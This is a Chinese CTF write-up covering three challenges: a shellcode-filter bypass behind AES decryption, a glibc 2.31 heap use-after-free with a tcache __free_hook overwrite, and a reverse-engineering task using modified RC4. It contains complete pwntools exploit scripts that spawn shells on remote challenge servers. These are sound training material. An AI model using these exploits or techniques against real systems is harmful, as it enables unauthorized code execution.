scsc
程序分析
静态编译程序,导入libc签名文件恢复符号信息,经过尝试发现libc-2.23的签名文件识别的函数比较多
查看main函数,这里存在一个栈上执行shellcode(我IDA8.3得把call rax给nop掉,不然会提示call analysis failed)
nop后反编译的伪代码如下
跟进函数sub_400C6E
,发现很像AES的初始化函数,密钥v5=“862410c4e93b77b4”
这里要注意一下这个代码++LOBYTE(v5[2]);
修改了密钥,所以实际上密钥v5=“862410c4f93b77b4”
接下来跟进函数sub_401D92
,一开始我以为是AES-ECB加密,但是与AES源C代码对比发现加密函数内的sub_4019F6
函数其实是AES::DecryptBlock
,也就是解密算法
标记的地方很明显是AES算法中的AddRoundKey
我们来对比一下AES加密(右)和解密(左)代码的区别,加密时AddRoundKey
是在每轮加密的最后,而解密时则是在InvMixColumns
前
利用思路
那么程序的逻辑如下
- 从用户读取输入(511字节)
- 将数据进行AES-ECB解密
- 检查数据中是否有“0MOyhjlcit1ZkbNRnCHaG”这些字符
- 如果有则退出程序
- 将输入的数据作为shellcode执行
因为把字符’H’,'R’等过滤了,所以一些mov,xor,add甚至一部分pop指令(例如pop rdx)都不能用
我这里的利用思路是观察可用的寄存器然后构造一次read读到栈上再执行shellcode
搓shellcode的时候写了个脚本测试能不能过check
from pwn import *
context(arch = "amd64")
filter = b"0MOyhjlcit1ZkbNRnCHaG"
shellcode="""
push rax
pop r14
push r15
push r15
pop rdi
pop rax
push r14
pop rsi
and si, 0x1000
push r11
pop rdx
or dx,0x100
syscall
jmp rsi
"""
payload = asm(shellcode)
print(disasm(payload))
for i in range(len(payload)):
if payload[i] in filter:
print("bad code in ", hex(i))
exit(1)
print("success!")
效果如下
exp
from pwn import *
from Crypto.Cipher import AES
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
#context.terminal = ['konsole', '-e', 'sh', '-c']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#p = process("./pwn")
elf = ELF(file, False)
p = remote("47.117.36.95", 32857)
cmd="b *0x400BBD\nb *0x400C3A"
key = b"862410c4f93b77b4"
cipher = b'a'*16
aes = AES.new(key, AES.MODE_ECB)
shellcode="""
push rax
pop r14
push r15
push r15
pop rdi
pop rax
push r14
pop rsi
and si, 0x1000
push r11
or dx,0x100
syscall
jmp rsi
"""
payload = asm(shellcode)
log("len", len(payload))
#debug(cmd)
#pause()
sa("magic data:\n", aes.encrypt(payload.ljust(0x30, b'\x90')))
sleep(0.7)
sl(asm(shellcraft.sh()))
ia()
boh
一道白给的2.31菜单堆题,delete有UAF,还能直接show chunk
利用思路
利用unsortedbin泄露libc,然后tcachebin attack打free_hook就能get shell
exp
from pwn import *
import struct
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
def menu(idx):
sla("->>>>>> ", str(idx))
def add(size):
menu(1)
sla("much storage:", str(size))
def free(idx):
menu(2)
sla("storage space: ", str(idx))
def show(idx):
menu(3)
sla("show data: ", str(idx))
def edit(idx, cont):
menu(4)
sla("storage space:", str(idx))
sla("data:", cont)
#p = process(file)
elf = ELF(file)
libc = ELF(elf.libc.path)
p = remote("47.116.167.227", 32801)
for i in range(10):
add(0x90)
for i in range(8):
free(i)
edit(8, "/bin/sh\x00")
show(7)
rl()
libc.address= u64(p.recvuntil("\n")[-7:-1].ljust(8, b'\x00')) - 0x1ecbe0
log("libcbase", libc.address)
free_hook = libc.sym["__free_hook"]
edit(6, p64(free_hook))
add(0x90)
add(0x90)
#debug()
#pause()
edit(11, p64(libc.sym["system"]))
free(8)
ia()
re0c814cd1
这道题是赛后出的,最后一个半小时放题时间还是比较紧张的,写这个题的时候也挺粗心的,耽误了好多时间…
程序分析
程序有一堆的花指令,一开始想手动去花发现有点多,然后写了个简单的去花脚本,把程序.text段的都去一下
import idautils
import idc
import idaapi
start = 0x401000
end = 0x401627
while (start < end):
if ((get_wide_byte(start) == 0xeb) and (get_wide_byte(start + 1) == 0xff)):
ida_bytes.patch_byte(start, 0x90)
ida_bytes.patch_byte(start + 1, 0x90)
ida_bytes.patch_byte(start + 2, 0x90)
start += 3
continue
if ((get_wide_byte(start) == 0x66) and (get_wide_byte(start+1) == 0x41) and (get_wide_byte(start+2) == 0xbf)):
idc.patch_qword(start, 0x9090909090909090)
idc.patch_word(start+8, 0x9090)
start += 10
start+=1
print('OK!')
但是要注意这个并不能去除程序内所有的花指令,有些还是需要手动去一下。把花指令去掉之后程序的主流程如下(重命名了一部分函数)
逻辑很简单就是循环读取info_0c743b3.ori
文件每行然后加密再写入info_0c743b3.ori.en
文件
跟进encode
函数。这一段代码首先是
-
memcpy将当前行复制到
byte_404240
,然后分配一页内存并将权限设置为RWX -
接着从程序的.data段读取shellcode直接作为函数来调用并将结果写到
byte_404240[i]
,参数也是byte_404240[i]
-
循环执行第二步将每个字符都处理一遍
现在我们来分析他执行的shellcode是什么,按c直接转换为代码
跟进这个call,其实这段代码就是把call指令后面的0x3A个字节xor了一下,然后jmp r14跳回来
写个脚本还原真实执行的指令,前面的两个push和一个call就相当于花指令了,我们直接nop掉,然后按P创建函数
import idautils
import idc
import idaapi
start = 0x404088
end = start+0x3a
while (start <= end):
ida_bytes.patch_byte(start, get_wide_byte(start) ^ 0xd3)
start+=1
print("Done!")
反编译伪代码如下
我们分析之后的代码
这里的逻辑挺简单,是个魔改的rc4算法,秘钥是”103906d6c9429372”,标记的地方是它改动的点
注意最后那个tohex函数也不是简单的转16进制,他改了一下映射表,所以我们也要处理一下
解密脚本
因为题目要求是提交第22行第2列数据内容作为flag,而程序的加密不是将整个文件加密而是逐行加密,所以我们用notopad等工具找出第22行的数据就好了
然后逆程序的转16进制操作
mapping = "208EC37FD94165AB"
dict = {char: idx for idx, char in enumerate(mapping)}
encrypted = "B6195088A670CC4646C057A041C86F0E63728291E5D43388D70767154AFD02F836E8AEBDF83F67EEFC9B244399C379"
bytes_list = []
for i in range(0, len(encrypted), 2):
high_char = encrypted[i]
low_char = encrypted[i+1]
high = dict[high_char]
low = dict[low_char]
byte = (high << 4) | low
bytes_list.append(byte)
original_hex = bytes(bytes_list).hex().upper()
print(original_hex)
得到结果FCB9D122EC6144ACAC41D6E1AB42C713C560209B3D8A55228616C6BDAE7810725C32E3F87257C633749F0AA5994569
然后拖到cyberchef转成c风格
写解密脚本
#include <stdio.h>
#include <stdint.h>
#include <string.h>
typedef unsigned char byte;
void rc4_init(unsigned int *s, unsigned char *key, unsigned long Len_k)
{
int i = 0, j = 0;
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + key[i % Len_k] + 4) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
void rc4_crypt(unsigned char *Data, unsigned long Len_D, unsigned char *key, unsigned long Len_k)
{
unsigned int s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j] + 15) % 256;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char enc[] = {0xfc,0xb9,0xd1,0x22,0xec,0x61,0x44,0xac,0xac,0x41,
0xd6,0xe1,0xab,0x42,0xc7,0x13,0xc5,0x60,0x20,0x9b,
0x3d,0x8a,0x55,0x22,0x86,0x16,0xc6,0xbd,0xae,0x78,
0x10,0x72,0x5c,0x32,0xe3,0xf8,0x72,0x57,0xc6,0x33,
0x74,0x9f,0x0a,0xa5,0x99,0x45,0x69};
char key[] = "103906d6c9429372";
rc4_crypt(enc, sizeof(enc), key, 16);
for(int i = 0;i < sizeof(enc);i++)
{
enc[i] = (enc[i]-7) ^ 0xb2;
unsigned char tmp = ((enc[i] & 0xf) << 4) | ((enc[i] >> 4) & 0xf);
enc[i] = tmp + 1;
}
puts(enc);
}
得到flag 727659200522077132